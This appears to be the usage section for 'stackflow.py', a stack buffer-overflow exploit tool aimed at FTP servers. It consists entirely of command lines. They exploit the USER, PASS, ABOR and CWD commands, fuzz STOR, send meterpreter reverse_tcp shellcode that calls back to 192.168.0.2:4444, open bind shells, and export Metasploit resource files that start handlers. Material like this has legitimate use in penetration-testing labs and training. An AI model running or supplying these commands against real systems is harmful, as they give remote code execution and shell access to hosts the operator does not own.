Exploit without any commands and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353
Exploit the USER command and send meterpreter/reverse_tcp shellcode dialing back to 192.168.0.2 on port 4444:
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
Exploit the PASS command and send calc.exe shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
Exploit the ABOR command and send meterpreter/bind_tcp shellcode listening on 4444:
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp
Exploit the CWD command and send cmd.exe shellcode and display the exploit buffer:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t1 -d
Fuzz the STOR command with a cyclic buffer of size 3000:
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS a@a.com' -f 3000
Exploit the CWD command with auto-offset string from EIP after fuzzing crash and send cmd.exe shellcode:
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -t1
Export the exploit py and metasploit rc file:
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS a@a.com' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2
Start msfconsole and run the exploit and handler:
msfconsole -r revCWD.rc
Run the exploit and handler from msfconsole:
resource /path/to/revCWD.rc
Run an exploit from a config file (no handler!):
./stackflow.py -g revCWD(.py)
